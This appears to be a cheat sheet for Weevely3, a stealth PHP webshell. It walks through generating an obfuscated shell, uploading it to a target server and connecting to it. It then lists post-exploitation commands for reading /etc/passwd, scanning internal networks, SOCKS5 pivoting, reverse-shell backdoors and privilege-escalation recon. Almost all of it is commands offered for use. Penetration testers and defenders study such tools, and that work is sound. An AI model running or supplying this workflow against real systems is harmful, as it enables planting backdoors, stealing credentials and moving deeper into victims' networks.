Weevely3

Weevely3

Stealth PHP webshell with 30+ post-exploitation modules.

Quick Start

git clone https://github.com/epinna/weevely3
cd weevely3 && pip3 install -r requirements.txt

# Generate obfuscated PHP shell
python3 weevely.py generate MyPassword shell.php
# Upload shell.php to target

# Connect
python3 weevely.py http://target.com/uploads/shell.php MyPassword

Core Commands (in shell)

High-value Module Families

• :system_* for host context and process visibility
• :file_* for file enumeration, read/write, exfiltration
• :audit_* for privilege-escalation and security posture checks
• :net_* for internal scanning and proxy pivoting
• :backdoor_* for reverse/direct shell pivots

Common Workflows

Full post-ex after upload:

:shell_sh "id && uname -a"
:file_read /etc/passwd
:net_scan 10.10.10.0/24 22,80,443
:net_proxy socks5 0.0.0.0 1080

Pivot via SOCKS5:

:net_proxy socks5 127.0.0.1 1080
# Configure proxychains → proxychains nmap internal_host

Post-Upload Triage Flow

:system_info
:shell_sh "id && uname -a && pwd"
:audit_phpconf
:file_ls .

Then choose one branch:

• Credential/file branch (:file_find, :file_read, :file_download)
• Network branch (:net_ifconfig, :net_scan, :net_proxy)
• Priv-esc recon branch (:audit_suidsgid, :audit_filesystem)

Resources